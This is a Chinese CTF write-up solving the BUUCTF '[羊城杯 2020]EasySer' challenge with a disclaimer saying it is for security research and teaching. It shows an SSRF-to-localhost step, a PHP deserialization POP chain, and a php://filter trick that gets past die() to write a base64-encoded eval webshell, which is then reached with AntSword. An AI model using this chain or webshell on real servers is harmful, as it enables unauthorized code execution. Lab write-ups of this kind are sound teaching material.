知识点:
php死亡绕过
反序列化构造
打开题目
敏感目录扫描,发现robots.txt
访问star1.php
思路,提示给的是百度的地址,我们考虑访问内网地址127.0.0.1,横向穿透
得到源码
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
这里利用php伪协议进行死亡绕过(die()),构造pop链
class GWHT
{
public $hero;
}
class Yongen{ //flag.php
public $file;
public $text;
}
$a = new GWHT();
$a->hero = new Yongen();
$a->hero->file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=nn.php";
$a->hero->text = "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+";
echo urlencode(serialize($a));
查看wp知道有一个参数c是反序列化的入口
这里需要注意的是拼接后的字符串的长度可能不能正常base64解码,需要补齐测试
用蚁剑成功连接,在根目录找到flag
原文来自简书博主「kum1ko」|侵删
![BUUCTF-[羊城杯 2020]EasySer-解题步骤详解 BUUCTF-[羊城杯 2020]EasySer-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/07/3-1657094472.png)
![BUUCTF-[羊城杯 2020]EasySer-解题步骤详解 BUUCTF-[羊城杯 2020]EasySer-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/07/6-1657094473.png)
原文始发于微信公众号(寰宇卫士):BUUCTF-[羊城杯 2020]EasySer-解题步骤详解
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论